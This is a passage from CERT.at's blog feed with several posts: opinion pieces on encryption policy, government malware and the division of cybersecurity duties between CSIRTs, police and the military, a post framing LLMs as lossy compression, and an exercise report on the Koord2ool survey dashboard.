protocol) or federated Matrix instances. These all make use of the DNS to enable instance to instance communication.</p> <p class="block">If user identifiers are domain-based, that&rsquo;s easy to do, for phone-number based networks this is a bit trickier &ndash; regrettably <a href="https://en.wikipedia.org/wiki/Telephone_number_mapping">ENUM</a> didn&rsquo;t take off, that would have been the perfect directory to map phone numbers to instant messaging IDs. But maybe we finally see a killer application for the blockchain: mapping identifiers to cryptographic keys in a distributed fashion is something that might actually work using that technology.</p> <p class="block">So yes, it is possible that any serious government interference with OTT services might trigger the development of alternative technologies and a shift of the users to the new architecture. If the user experience is good, this could happen pretty quickly. Yes, there is <a href="https://en.wikipedia.org/wiki/Metcalfe%27s_law">Metcalfe&rsquo;s law</a> to overcome, but there are historical precedents of populations switching from one social network to another. It may be slow in the beginning, but once a tipping point is reached, it might become unstoppable.</p> <p class="block">Here the analogy with file-sharing breaks down: sending copyrighted files to strangers is of questionable legality, texting with friends or calling a relative over the Internet is certainly legal.</p> <p class="block">What are the next steps? If people download one of the available chat-and-call applications, maybe choosing between simple open-source implementations and fancy commercial ones, then what can law enforcement do? Make distributing those programs illegal? Make using them illegal? I cannot believe that this will work from a legal point of view.</p> <p class="block"><strong>Summary</strong></p> <p class="block">Any heavy-handed interference by lawmakers into the end-to-end encryption properties of OTT service could trigger an evolutionary step in those applications with wide-reaching implications. I strongly recommend treading very lightly here: it is probably a lot better to enter a constructive discussion with the OTT service on cooperative policing of their users. After all, it is not in the operator&rsquo;s interest to expose their users to fraudsters on their service. Every additional story of government abuse of surveillance makes this a harder sell.</p>Fri, 14 Feb 2025 15:45:55 GMT+0100https://www.cert.at/en/blog/2025/2/chat-control-vs-file-sharingCERT.at2025-02-14T15:45:55Zhttps://www.cert.at/en/blog/2025/1/llms-as-lossy-compression-of-information<p class="block">Back when I was studying computer science, one of the interesting bits was the discussion of the information content in a message which is distinct to the actual number of bits used to transmit the same message. I can remember a <a href="https://en.wikipedia.org/wiki/Information_content">definition </a>which involved the sum of logarithms of long-term occurrences versus the transmitted messages. The upshot was, that only if 0s and 1s are equally distributed, then each Bit contains one bit worth of information.</p> <p class="block">The next iteration was compressibility: if there are patterns in the message, then a compression algorithm can reduce the number of bits needed to store the full message, thus the information content in original text does not equal its number of bits. This could be a simple Huffman encoding, or more advanced algorithms like Lempel-Ziv-Welch, but one of the main points here is that the algorithm is completely content agnostic. There are no databases of English words inside these compressors; they cannot substitute numerical IDs of word for the words themselves. That would be considered cheating in the generic compression game. (There are, of course, some instances of very domain-specific compression algorithms which do build on knowledge of the data likely to be transmitted. HTTP/2 or SIP header-compression are such examples.)</p> <p class="block">Another interesting progress was the introduction of lossy compression. For certain applications (e.g., images, sounds, videos) it is not necessary to be able to reproduce the original file bit by bit, but only to generate something that looks or sounds very similar to the original media. This unlocked a huge potential for efficient compression. JPEG for images, MPEG3 for music and DIVX for movies reached the broad population by shrinking these files to manageable sizes. They made digital mixtapes (i.e., self-burned audio CDs) possible, CD-ROMs with pirated movies were traded in school yards and Napster started the online file-sharing revolution.</p> <p class="block">Now we have the LLMs, the large language models which are an implementation of generative AI: Algorithms, combined with a large memory derived by processing huge amounts of content, can now transform texts, images, sounds and even videos into each other. They can act as compressors: you can feed text into an LLM and ask for a summary, but you can also ask it to expand an argument from a few bullet points into a short essay. The inner state of the LLM while it performs these actions kind of represents the essence of the content it is processing. The output format is independent of this state: in the simplest case, you can specify whether the output should be in German or in English, additionally, you can ask for different styles: write for children, write dry legal prose, be witty or even write the content as a poem. Translating from one medium to another is also possible: the AI can look at a picture and generate a textual description of the image, or vice-versa, it can create a picture out of a written content summary.</p> <p class="block">I&rsquo;m pretty sure the following scenario has already happened: An employee is asked to write a report on a certain subject: he thinks about the topic, comes up with a few ideas which he writes down as a list of bullet points. These are handed to an LLM with an appropriate prompt to generate a nice 5-page report detailing these points. The AI obliges and the resulting 5-pager is handed to the boss. Being short on time, he doesn&rsquo;t want to read five pages, so he asks an LLM to summarize the paper to give him the core message in list of short statements. Ideally, the second LLM reproduces the same bullet point which the employee originally came up with, making the whole exercise a complete waste of computation resources.</p> <p class="block">There are two points in this story which are important to note:</p> <p class="block">First, if we are liberal with the concept of &ldquo;lossy compression&rdquo;, then the specific formulation of an idea in a language doesn&rsquo;t really matter in terms of information content. If you give an LLM the same prompt time and time again, you will get different results each time. If, for example, you ask for a Limerick about a horse in a bar, you will get different ones almost every time. But on a more abstract level, they are all embodiments of the same concept: a Limerick about a horse in a bar. The same applies to a switch in languages: if you ask the LLM to change the output from German to English, the result will change substantially. But again: if you just look at the abstract ideas embodied in the text, the language it is written in just does not matter.</p> <p class="block">The bible in Greek, English, or German might have very few words in common, but the content is the same. This is just like converting a picture from GIF to JPEG: The bits in the file have completely changed but given the right parsers they produce the same information content, with only some fuzziness in details caused by the jpeg compression.</p> <p class="block">Secondly, when processing a prompt or analysing a text/image/sound, the LLM produces an activation pattern in its high-dimensional set of parameters that form the scaffolding of its memory, transforming the input into something that one might call its &ldquo;state of mind&rdquo;. This is the LLM-internal representation of the input, abstracting away the unimportant bits of incoming information and retaining the meaning. This internal state is opaque to us, we have little information which parameter corresponds to exactly what concept. I also don&rsquo;t know the size in Bytes that this representation needs.</p> <p class="block">Now comes the &ldquo;generative&rdquo; part of the AI: the combination of the state, the learned connections between the concept and the prompt enable the LLM to transform this opaque state of mind into an output that humans can understand. The output can be short, e.g., if the prompt asks for a short, written summary, or longer, if the target format is an essay. Coming back the example from above: the LLM does not iteratively compress a longer text into a summary by analysing individual sentences, instead it speedreads everything into something like short-term memory and then dumps out the highlights it found.</p> <p class="block">If a short prompt can produce the same activation pattern as a long input text, then the information content is the same. This only works because the LLM has this huge storage of knowledge it can reference &ndash; something we said in the beginning that classic compression algorithms cannot utilize. So, as an example, the input &ldquo;lyrics of the Beatles&rsquo; song Yesterday&rdquo; and the actual lyrics as two dozen lines of text convey the same information to the LLM. This enables truly enormous compression rates.</p> <p class="block">To summarize, it might be a helpful abstraction to view LLMs as lossy compression/de-compression machines that can utilize an enormous pool of knowledge to make the process much more efficient, as long as you accept the fact that this a very lossy compression which only preserves the core concepts contained in the input but is free to change the representation of this information content. And, of course, it is prone to make wrong associations and hallucinate content.</p>Wed, 22 Jan 2025 09:52:49 GMT+0100https://www.cert.at/en/blog/2025/1/llms-as-lossy-compression-of-informationCERT.at2025-01-22T09:52:49Zhttps://www.cert.at/en/blog/2024/11/testing-the-koord2ool<p class="block">As part of the EU-funded project &ldquo;AWAKE&rdquo;, we built the Koord2ool, which is a tool that allowed us to track the state of an incident across our constituency over time.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/files/en_cef-300x42.png" alt="" width="300" height="42" /></p> <p class="block">We implemented this application as an extension to LimeSurvey (an Open Source survey tool) which generates a dashboard to visualize the state of the answers over time.</p> <p class="block">For this to work, the survey needs to have the following properties:</p> <ul> <li class="block">We must identify participants in order to track their responses over the time. In LimeSurvey parlance, this is called &ldquo;Closed Mode&rdquo;: There is a database of participants, which also contains a unique token for each e-mail address. This token is sent in the invitation mail sent to each participant and is used for access control and user tracking.</li> <li class="block">A participant must be able to repeatedly fill out the survey. This is controlled by the &ldquo;Allow multiple responses or update responses with one access code:&rdquo; setting.</li> <li class="block">I recommend to also set &ldquo;Enable participant-based response persistence&ldquo; to &bdquo;On&ldquo;. This helps with the consistency of the answers.</li> </ul> <p class="block">The code is here: <a href="https://github.com/ait-cs-IaaS/koord2ool">https://github.com/ait-cs-IaaS/koord2ool </a></p> <p class="block">Last week, we participated in a national cyber exercise that was organised by the KS&Ouml; with AIT as the technology partner. This year, I focussed on getting the Koord2ool up and running and see how the concept performs during the exercise.</p> <p class="block">This blogpost documents my experience.</p> <p class="block">I used the &ldquo;introduction day&rdquo; to test the installation of the Koord2ool inside AIT&rsquo;s cyber range. It took us a bit of time to correctly configure the email settings &ndash; LimeSurvey needs to be able to send out the invitations, and to prepare a basic survey with all the right settings and test the procedure of adding new questions to an existing survey &ndash; see below for details.</p> <p class="block">At the start of the exercise, I had a basic survey ready with two parts:</p> <ul> <li class="block">A &ldquo;Meta&rdquo; group to ask questions about the exercise itself: are you having fun? Do the tools work? Etc.</li> <li class="block">A &ldquo;Status&rdquo; group where I started with a basic &ldquo;What is the status of your fictional company?&rdquo; question.</li> </ul> <p class="block">As the game progressed, I added more and more questions and sent our reminder emails to the players to keep filling out our survey.</p> <h2 class="block">Results:</h2> <p class="block">The Koord2ool use wasn&rsquo;t officially announced by the exercise moderator, and the invitations were sent only to the official &ldquo;office@&rdquo; email-address of the virtual companies. Maybe some players thought that this was a phishing inject, it took us some time to get answers from every company. Over the time, this looked like this:</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/20241111-koord2ool/2024-11-11-koord2ool-comments.png" alt="" width="605" height="368" /></p> <p class="block">The y-axis are the participants, the x-axis is the time. The dots are answers. So, from the 6 virtual companies, we got both one, two and three answers from two each. Regrettably, this was not enough to really track the state of the game over the full exercise.</p> <p class="block">This resulted in the following graph describing the status of the companies:</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/20241111-koord2ool/2024-11-11-koord2ool-status.png" alt="" width="605" height="342" /></p> <h2 class="block">Lessons Learned</h2> <ul> <li class="block">We really need to make answering the survey an official part of the exercise with regular announcements by the organizers to fill out the survey at predefined intervals.</li> <li class="block">I&rsquo;m not 100% sure that we really managed to squash all bugs regarding the data processing. (but maybe it&rsquo;s just the CERT.at installation which I use right now to look at the exported/imported survey data)</li> <li class="block">The process of adding questions is a bit cumbersome, it needs the following steps: <ul> <li>Stop / Deactive the survey</li> <li>Edit the structure of the survey &ndash; add new questions</li> <li>Activate survey, choose &ldquo;closed mode&rdquo; and select &ldquo;restore participants&rdquo;</li> <li>In the responses tab, use &ldquo;import&rdquo; to restore previously archived answers</li> </ul> </li> <li class="block">LimeSurvey tries to be clever by not allowing invitations / reminders to be sent to participants who already have received an invitaion or have submitted in a response respectively. This makes a lot of sense for &ldquo;normal&rdquo; surveys, but not for our use-case where we need multiple answers from participants. The way to work around this feature is to use the &ldquo;Bulk Edit&rdquo; functionality in the participant management to reset the &ldquo;Invitation sent&rdquo; and &ldquo;response received&rdquo; columns for all respondents.</li> </ul> <p class="block">Let's see how Koord2ool will work in future exercises and real world incidents.</p>Mon, 11 Nov 2024 15:51:52 GMT+0100https://www.cert.at/en/blog/2024/11/testing-the-koord2oolCERT.at2024-11-11T15:51:52Zhttps://www.cert.at/en/blog/2024/8/another-round-government-malware-digital-surveillance<p class="block">Not just the seasons, or my attempts to appear in the office in an outfit other than holey conference shirts, shorts and Birkenstock slippers that are cyclical. The desire of politicians for a "government trojan" or surveillance of digital communication seemingly follows a constant rhythm as well - and apparently it's that time again. Federal Chancellor Karl Nehammer is making the surveillance of digital communication a fixed condition for a future political coalition.</p> <p class="block">A government-sanctioned malware has resurfaced on the political table again as well. What the government thinks about such a digital trojan horse could clearly be seen in a legislative draft circulating in the media. Allegedly, this draft was supposed to be in accordance with the restrictions placed on digital surveillance by the Constitutional Court back in 2019. Although the draft was, fortunately, rejected, I would still like to discuss some parts of it. Mainly because I assume that we will be having this very same conversation again in a few months' time.</p> <p class="block">Specifically, the draft talks about the monitoring of messages that are "sent, transmitted or received in encrypted form" by "introducing a program into a computer system of the person concerned". I find the given need to "technically ensure that only messages sent or received within a specified, pre-authorized time period are monitored" particularly interesting.</p> <p class="block">According to legal experts, this would enable constitutionally compliant surveillance because the surveillance software available on the market is already "much more focused on chat messages" and no longer "applicable to the entire cell phone". Whatever that means.</p> <p class="block">Personally, I would wish that not just&nbsp; lawyers were consulted on this topic, but that security experts and technicians were also allowed to contribute their part. Letting legal experts make technical judgments is like letting me make legal assessments - not exactly optimal</p> <p class="block">As a technician, I must clearly disagree with the lawyers here. The current solutions from various providers of commercial spyware (which would probably be used, I do not assume that the responsible authorities in Austria would develop their own solutions) are all not designed to monitor only certain applications. As far as I know, there is no spyware that monitors (for example) only Telegram or only Viber.</p> <p class="block">Of course, it would be possible for the provider to configure its system in such a way that only messages from (for example) Telegram or Viber are displayed to customers. However, this is an organizational safeguard, not a technical guarantee that only relevant messages are monitored. The same applies to the requirement that only messages within a monitoring period specified in an order may be targeted.</p> <p class="block">Compromising an end user device with commercial spyware always means that the privacy of the person concerned is completely compromised. Keyword compromised: I assume that "introducing a program into a computer system of the person concerned" does not mean that the persons concerned go to their local police station, hand in their cell phone or computer (including the necessary credentials to access them) and go for a coffee around the corner while the officers "introduce" the "program". At least I hope that's not what is meant.</p> <p class="block">No, what is being talked about here is that security vulnerabilities are exploited to install malware on the devices. For security gaps to be exploited, the vulnerabilities must remain unpatched. At the same time, however, this also means that a system remains insecure in the broadest sense. And other actors with (depending on how you look at it, "even") more malicious intentions can also abuse the vulnerabilities in question.</p> <p class="block">This fact, especially in view of the upcoming implementation of NIS-2, that the state is putting itself in a dilemma here:</p> <ul> <li class="block">The state wants IT systems to be secure so that citizens, organizations, companies and authorities can communicate through them confidentially and exchange data securely. This requires, among other things, that the systems are protected according to the best available standards and technology. If there are vulnerabilities, these must be patched as quickly as possible or reported to the manufacturer so that they can provide patches.</li> <li class="block">The state wants to gain insight into the communications and data of suspects in order to prevent and / or solve crimes, terrorism or espionage. This presupposes, among other things, that the systems used by the suspects have vulnerabilities that can be exploited to place software on the suspects' devices to enable the insights.</li> </ul> <p class="block">It will not be possible to completely fulfill both requirements. My colleague Otmar Lendl already pointed this out seven years ago in an <a href="https://www.cert.at/de/blog/2017/8/blog-20170731130131-2076" target="_blank">article on a very similar topic</a>.</p> <p class="block">In principle, I understand the authorities' desire to gain insight into the communications of suspects (the FBI even felt this desire so strongly that they simply made <a href="https://en.wikipedia.org/wiki/Operation_Trojan_Shield" target="_blank">their own messenger</a> available to the criminals). But the way politicians envision it - clean, clearly defined, secure, safeguarding fundamental rights - is simply not possible. No matter how often they wish it were.</p> <p class="block">Even if I am not a criminalist, investigator or expert on terrorism, I can think of measures off the top of my head that are very likely to be more promising and are also much easier to reconcile with constitutional law.</p> <p class="block">I know of colleagues in federal employment who had to wait several months to get the peripherals they needed for their work computers due to outdated processes and the miserably slow grindings of bureaucracy. Or cases in which one department is almost drowning in the amount of work to be done while another team with the same technical expertise is bored into "boreout", but for whatever reason is not allowed to provide support.</p> <p class="block">In contact with CSIRTs and law enforcement agencies from other countries, we hear time and again that cooperation with institutions from Austria works well - when it does come about, because motivated people throw in the towel in frustration with alarming regularity.</p> <p class="block">When I talk to people I know who work in social and probation services, the massive lack of resources is a regular topic. I'm going to go out on a limb and say that with all the resources, time and energy (and probably a certain amount of budget) that has gone into the issue of messenger surveillance and state malware, many other things could have been improved that would have had a more lasting positive effect on our security.</p> <p class="block">To conclude with a very personal example: although temporal correlation naturally does not imply a causal link, I cannot help suspecting that the topic is being brought to the boil in connection with the foiled attack attempts surrounding the Taylor Swift concerts in Vienna.</p> <p class="block">In my (still) younger years, I worked for some time as a security guard for major events. And even back then, the only requirement for employment was a willingness to work nights in the pouring rain for &euro;6.50 an hour. As a result, I guarded the back entrance of a well-known cultural institution with two colleagues, one of whom trained team kickboxing on dirt tracks in his spare time in the context of a Viennese soccer club, while my second colleague had to cover up some of his tattoos to avoid coming into conflict with various sections of the VbtG. That seemed strange to me at the time.</p> <p class="block">My eyes widened even more a few years ago when it became known that during the committee of inquiry into the BVT affair, a security employee with close links to a right-wing extremist who had been known to the authorities for decades was working in parliament. Apparently, in this case too, no real checks were carried out on who was employed for &euro;6.50 per hour (hopefully adjusted for inflation).</p> <p class="block">After all, this led to the creation of "clear and binding security standards" for security companies in the Turquoise-Green government program from 2020. As part of the investigations following the cancellation of Taylor Swift's concerts in Vienna a few weeks ago, it emerged that eight of the security staff employed at the concerts had already been found guilty of jihadism. It seems that the security standards haven't quite worked out so far.</p> <hr /> <p class="block">The point I want to make is that government malware is not the solution. It is not even one of several possible solutions, like the examples I mentioned in the previous paragraphs. The "Bundestrojaner" is a problem.</p> <p class="block">The targeted monitoring of individual conversations or just certain chat applications while at the same time avoiding excessive invasion of privacy and ensuring the technical security of monitored devices is not possible in the way the decision-makers imagine. I wish this didn't have to be explained anew every few years.</p>Tue, 20 Aug 2024 11:57:08 GMT+0100https://www.cert.at/en/blog/2024/8/another-round-government-malware-digital-surveillanceCERT.at2024-08-20T11:57:08Zhttps://www.cert.at/en/blog/2024/7/csirt-le-military<p>Back in January 2024, I was asked by the Belgian EU Presidency to moderate a panel during their high-level conference on cyber security in Brussels. The topic was the relationship between cyber security and law enforcement: how do CSIRTs and the police / public prosecutors cooperate, what works here and where are the fault lines in this collaboration. As the moderator, I wasn&rsquo;t in the position to really present my own view on some of the issues, so I&rsquo;m using this blogpost to document my thinking regarding the CSIRT/LE division of labour. From that starting point, this text kind of turned into a rant on what&rsquo;s wrong with IT Security.</p> <p>When I got the assignment, I recalled a report I had read years ago: "Measuring the Cost of Cybercrime" by Ross Anderson et al from 2012. In it, the authors try to estimate the effects of criminal actors on the whole economy: what are the direct losses and what are costs of the defensive measures put in place to defend against the threat. The numbers were huge back then, and as various speakers during the conference mentioned: the numbers have kept rising and rising and the figures for 2024 have reached obscene levels. Anderson et al write in their conclusions: "The straightforward conclusion to draw on the basis of the comparative figures collected in this study is that we should perhaps spend less in anticipation of computer crime (on antivirus, firewalls etc.) but we should certainly spend an awful lot more on catching and punishing the perpetrators."</p> <p>Over the last years, the EU has proposed and enacted a number of legal acts that focus on the prevention, detection, and response to cybersecurity threats. Following the original NIS directive from 2016, we are now in the process of transposing and thus implementing the NIS 2 directive with its expanded scope and security requirements. This imposes a significant burden on huge numbers of "essential" and "important entities" which have to heavily invest in their cybersecurity defences. I failed to find a figure in Euros for this, only the <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:52020SC0345">estimate of the EU Commission</a> that entities new to the NIS game will have to increase their IT security budget by 22 percent, whereas the NIS1 "operators of essential services" will have to add 12 percent on their current spending levels. And this isn&rsquo;t simply CAPEX, there is a huge impact on the operational expenses, including manpower and effects on the flexibility of the entity.</p> <p>This all adds up to a huge cost for companies and other organisations.</p> <p>What is happening here? <strong>We would never ever tolerate that kind of security environment in the physical world, so why do we allow it to happen online?</strong></p> <h1>The physical world</h1> <p>So, let&rsquo;s look at playing field in the physical environment and see how the security responsibilities are distributed there:</p> <p>Defending against low-level crime is the responsibility of every citizen and organisation: you are supposed to lock your doors, you need to screen the people you&rsquo;re allowing to enter and the physical defences need to sensible: Your office doesn&rsquo;t need to be a second Fort Knox, but your fences / doors / gates / security personnel need to be adequate to your risk profile. They should be good enough to either completely thwart normal burglars or at least impose such a high risk to them (e.g., required noise and time for a break-in) that most of them are deterred from even trying.</p> <p>One of the jobs of the police is to keep low-level crime from spiralling out of control. They are the backup that is called by entities noticing a crime happening. They respond to alerts raised by entities themselves, their burglar alarms and often their neighbours.</p> <p>Controlling serious, especially organized crime is clearly the responsibility of law enforcement. No normal entity is supposed to be able to defend itself against Al Capone style gangs armed with submachine guns. This is where even your friendly neighbourhood cop is out of his league and the specialists from the relevant branches of the security forces need to be called in. That doesn&rsquo;t mean that these things never happen at all: there is organized crime in the EU, and it might take a few years before any given gang is brought under control.</p> <p>Defending against physical incursions by another country is the job of the military. They have the big guns; they have the training and thus means to defend the country from outside threats. Hopefully, they provide enough deterrence that they are not needed. Additionally, your diplomats and politicians have worked to create an international environment in which no other nation even contemplates invading your country.</p> <p>We can see here a clear escalation path of physical threats and how the responsibility to deal with them shifts accordingly.</p> <h1>The online world</h1> <p>Does the same apply to cyber threats? And if not, why?</p> <h2>The basics</h2> <p>The equivalent of putting a simple lock on your door is basic cyber hygiene: Firewalls, VPNs, shielding management interfaces, spam and malspam filters, a decent patch management, as well as basic security awareness training. Hopefully, this is enough to stop being a target of opportunity, where script kiddies or mass exploitation campaigns can just waltz into your network. But there is a difference: the risk of getting caught simply for trying to hack into a network is very low. Thus, these actors can just keep on trying over and over again. Additionally, this can be automated and run on a global scale.<br /> In the real word, intrusion attempts do not scale at all. Every single case needs a criminal on site and that limits the number of tries per night and incurs a risk of being caught at each and every one of these. The result is that physical break-in attempts are <strong>rare</strong>, whereas cyber break-in attempts are so frequent that the industry has decided that "successful blocks on FW or mail-relay level per day" are no longer sensible metrics for a security solution.<br /> <br /> And just forget about reporting these to the police. Not all intrusion attempts are actually malicious (a good part of CERT.at&rsquo;s data-feeds on vulnerabilities is based on such scans), the legal treatment of such acts are unclear (especially on an international level), and the sheer mass of it overwhelms all law enforcement capabilities. Additionally, these intrusion attempts usually are cross-border, necessitating an international police collaboration. The penalties for such activities (malicious scans, sending malspam, etc.) are also often too low to qualify for international efforts.<br /> <br /> In the physical world, the perpetrators must be present at the site of their victims. We&rsquo;re not yet at the stage where thieves and burglars send remote controlled drones to break into houses and steal valuables there &ndash; unless you count the use of hired and expendable low-level criminals as such. There is thus no question about jurisdiction and the possibility of the local police to actually enforce the law. Collecting clues and evidence might not always be easy, and criminals fleeing the country before being caught is a common trope in crime literature, nevertheless there is the real possibility that the police can successfully track and then arrest the criminals.<br /> <br /> The global nature of the Internet changes all this. As the saying goes: there is no geography on the Internet, everyone is a direct neighbour to everybody else. Just as any simple website is open to visitors from all over the world, it can be targeted by criminals from all over the globe. There is no need for the evil hackers to be on the same continent as their targets, let alone in the same jurisdiction. Thus, even if the police can collect all the necessary evidence to identify the perpetrators, it cannot just grab them off the street &ndash; they might be far out of reach of the local law enforcement.<br /> <br /> And another point is different: usually, physical security measures are quite static. There is no monthly patch-day for your doors. I can&rsquo;t recall any situation where a vendor of safes or locks had to issue an alert to all customers that they have to upgrade to new cylinders because a critical vulnerability was found in the current version (although watching <a href="https://www.youtube.com/@lockpickinglawyer">LPL videos</a> are a good argument that they should start doing that). <a href="https://www.theguardian.com/money/2024/feb/24/smart-keys-car-crime-thieves-hi-tech-arms-race">Recent reports on vulnerabilities of keyless fobs</a> for unlocking of cars show that the lines are starting to blur between these worlds.</p> <h2>Organized crime</h2> <p>What about serious, organized crime? The online equivalent to a mob boss is a "Ransomware as a Service (RaaS)" group: they provide the firepower, they create an efficient ecosystem of crime and they make it easier for low-level miscreants to start their criminal careers. Examples are Locky, REvil, DarkSide, LockBit, Cerber, etc. Yes, sometimes law-enforcement, through long-running, and international collaborations between law-enforcement agencies, is able to crack down on larger crime syndicates. Those take-downs vary in their effectiveness. In some cases, the police manages to get hold of the masterminds, but often enough they just get lower or mid-level people and some of the technical infrastructure, leading just to a temporary reprieve for the victims of the RaaS shop.<br /> <br /> Two major impediments to the effectiveness of these investigations are the global nature of such gangs and thus the need for truly global LE collaboration and the ready availability of compromised systems to abuse and malicious ISPs who don&rsquo;t police their own customers. Any country whose police force is not cooperating effectively creates a safe refuge for the criminals. The current geo-political climate is not helpful at all. Right now, there simply is no incentive for the Russian law enforcement to help their western colleagues by arresting Russian gangs targeting EU or US entities. Bullet-proof hosters are similar, they rent the infrastructure to criminals from which to launch attacks from. And often enough the perpetrators simply use the infrastructure of one of their victims to attack the next.</p> <p>The end result is that serious cybercrime is rampant. Companies and other organisations must defend themselves against well-financed, experienced, and capable threat-actors. As it is, law enforcement is not capable to lower the threat level low enough to take that responsibility away from the operators.</p> <h2>Nation states</h2> <p>The next escalation step are the nation state attackers. They come in (at least) two types: Espionage and Disruption.<br /> <br /> Espionage is nothing new; the employment of spies traces back to antique world. But just as with cybercrime, in the new online world it is no longer necessary to send agents on dangerous missions into foreign countries. No, a modern spy has a 9 to 5 desk job in drab office building where the highest risk to his personal safety is a herniated vertebral disc caused by unergonomic desks and chairs.</p> <p>It&rsquo;s been rare, but cyber-attacks with the aim of causing real world disruptions have appeared over the last ten years, especially in the Russia/Ukraine context. The impact can be similar to Ransomware: the IT systems are disabled and all the processes supported by those system will fail. The main difference is that you can&rsquo;t simply buy your way out of a state-sponsored disruptive attack. There have been cases where the attackers try to inflict physical damage to either the IT systems (<a href="https://www.reuters.com/article/us-saudi-cyber-idUSKBN1571ZR/">bricking of pcs in the Aramco attack</a>) or machinery controlled by industrial control systems.</p> <p>This is a frustrating situation. We&rsquo;re in a defensive mode, trying to block and thwart attack after attack from well resourced adversaries. As the recent history shows, we are not winning this fight &ndash; cybercrime is rampant and state-sponsored APTs are running amok. Even if one organisation manages to secure its own network, the tight interconnectedness with and dependency of others will leave it exposed to supply chain risks.</p> <h1 class="block">What can we do about this?</h1> <p>Such a situation reminds me of the old proverb: "if you can&rsquo;t win the game, change the rules". I simply do not see a simple technical solution to the IT security challenge. We&rsquo;ve been sold these often enough under various names (firewalls, NGFW, SIEMs, AV, EDR, SOAR, cloud-based detection, sandboxes to detected malicious e-mail, &hellip;) and while all these approaches have some value, they are fighting the symptoms, but not the cause of the problem.</p> <p>There certainly are no simple solutions, and certainly none without significant downsides. <strong>I&rsquo;m thus not proposing that the following ideas need to be implemented tomorrow.</strong> This article is just supposed to move the <a href="https://en.wikipedia.org/wiki/Overton_window">Overton Window</a> and start a discussion outside the usual constraints.</p> <p>So, what ideas can I come up with?</p> <h2>Really invest in Law Enforcement</h2> <p class="block">The statistics show every year that cyber-crime is rising. This is followed by a ritual proclamation of the minister in charge that we will strengthen the police force tasked with prosecuting cyber-crime. The follow-through just isn't there. Neither the police, nor the judiciary is in any way staffed to really make a dent in cybercrime as a whole.</p> <p class="block">They are fighting a defensive war, happy with every small victory they can get, but overall they are simply not staffed at a level where they really could make a difference.</p> <h2 class="block">Denial of safe havens</h2> <p>Criminals or other attackers need some infrastructure where they stage their attacks from. Why do we tolerate this? Possible avenues for a change are:</p> <ul> <li>Revisit the laws that shield ISPs from liabilities regarding misbehaving customers. This does not need to be a complete reversal, but there need to be clear and strong incentives not to allow customers to stage attacks from an ISP&rsquo;s network. See below for more details.</li> <li>And on the other side, refuse to route the network blocks from ISPs who are known to tolerate criminals on their network. Back on Usenet, this was called the "UDP &ndash; Usenet Death Penalty": when you don&rsquo;t police your own users&rsquo; misbehaviour on this global discussion forum, then other sites will decide not to accept any articles from your cesspool any more.</li> </ul> <p>The aim must be the end of "bulletproof" hosters. There have been <a href="https://www.bleepingcomputer.com/news/security/bulletproof-hosting-founder-imprisoned-for-helping-cybercrime-gangs/">prior successes</a> in this area, but we can certainly do better on a global scale.</p> <h2 class="block">Don&rsquo;t spare abused systems</h2> <p>Instead of renting infrastructure from bulletproof hosting outfits, the criminals often hack into an unrelated organisation and then abuse its systems to stage attacks from. Abused systems range from simple C2 proxies on compromised websites, DDoS-amplification, accounts for sending spam-mails to <a href="https://thehackernews.com/2022/03/trickbot-malware-abusing-hacked-iot.html">elaborate networks of proxies on compromised CPEs</a>.</p> <p>These days, we politely warn the owners of the abused devices and ask them nicely to clean up their infrastructure.</p> <p>We treat them as victims, and not as accomplices.</p> <p>Maybe we need to adjust that approach.</p> <h2>Mutual assured cyber destruction</h2> <p>As bad as the cold war was, the concept of mutual assured destruction managed to deter the use of nuclear weapons for over 70 years. Right now, there is no functioning deterrence on the Internet.</p> <p>I can&rsquo;t say what we need to do here, but we must create a significant barrier to the employment of cyberattacks. Right now, most offensive cyber activities are considered "trivial offences", maybe worth a few sternly worded statements, but nothing more. The <a href="https://ccdcoe.org/library/publications/si-vis-cyber-pacem-para-sanctiones-the-eu-cyber-diplomacy-toolbox-in-action/">EU Cyber Diplomacy Toolbox</a> is a step in that direction, but is still rather harmless in its impact.</p> <p>We can and should do more.</p> <h2 class="block">Broken Window Theory</h2> <p>From <a href="https://en.wikipedia.org/wiki/Broken_windows_theory">Wikipedia</a>: "In criminology, the broken windows theory states that visible signs of crime, antisocial behavior, and civil disorder create an urban environment that encourages further crime and disorder, including serious crimes."</p> <p>To put this bluntly: As we haven&rsquo;t managed to solve the Spam E-mail problem, why do we think we can tackle the really serious crimes?</p> <p>Thus, one possible approach is to set aside some investigative resources in the law enforcement community to go after the low-level, but very visible criminals. Take for example the long running spam waves promoting ED pills. Tracking the spam source might be hard, but there is a clear money trail on the payment side. This should be an eminently solvable problem. Track those gangs down, make an example out of them and let every other criminal guess where the big LE guns will be pointing at next.</p> <p>As a side effect, the criminal infrastructure providers who support both the low level and the more serious cybercrime might also feel the heat.</p> <h2 class="block">Offer substantial bounties</h2> <p>We always say that ransomware payments are fuelling the scourge. They provide RaaS gangs with fresh capital to expand their operations and it is a great incentive for further activities in that direction.</p> <p>So, what about the following: decree by law that if you&rsquo;re paying a ransom, then you have to pay 10% of the ransom into a bounty fund that incites operators in the ransomware gangs to turn in their accomplices.</p> <p>Placing <a href="https://en.wikipedia.org/wiki/Bounty_(reward)">bounties</a> on the head of criminals is a very old idea and has proven to be effective to create distrust and betrayal in criminal organisations.</p> <h2 class="block">Liability of Service Providers</h2> <p>Criminals are routinely abusing the services offered by legitimate companies to further their misdeeds. Right now, the legal environment is shielding the companies whose services are abuse, from direct liability regarding the action of their customers.</p> <p>Yes, this liability is usually not absolute, often there is a "knowingly" or "repeatedly" or "right to respond to allegations" in the law that absolve the service providers to proactively search for or quickly react to reports of illegal activities originating from their customers.</p> <p>We certainly can have a second look at these provisions.</p> <p>Not all service providers should be treated the same way, a small ISP offering to host websites has vastly smaller resources to deal with abuse that the hyper-scalers with billions of Euros stock market valuations. The impact of abuse scales about the same way: a systematic problem at Google is much more relevant than anything a small regional ISP can cause.</p> <p>Spending the same few percentage points of their respective revenue on countering abuse can give the abuse handling teams of big operators the necessary punch to really be on top of abuse at their platform and do it 24x7 in real-time.</p> <p>We need to incentivise all actors to take care of the issue.</p> <h3 class="block">Search Engine Liability</h3> <p>By using SEO techniques or via simply buying relevant advertisement slots, criminals sometimes manage to lure people looking for legitimate free downloads to fake download sites that offer backdoored versions of the programs that the user is looking for.</p> <p>Given the fact that this is a very lucrative market for search engine operators, there should be no shortage on resources to deal with this abuse either proactively or in near real time when they are reported.</p> <p>And I really mean near real-time. Given e.g., 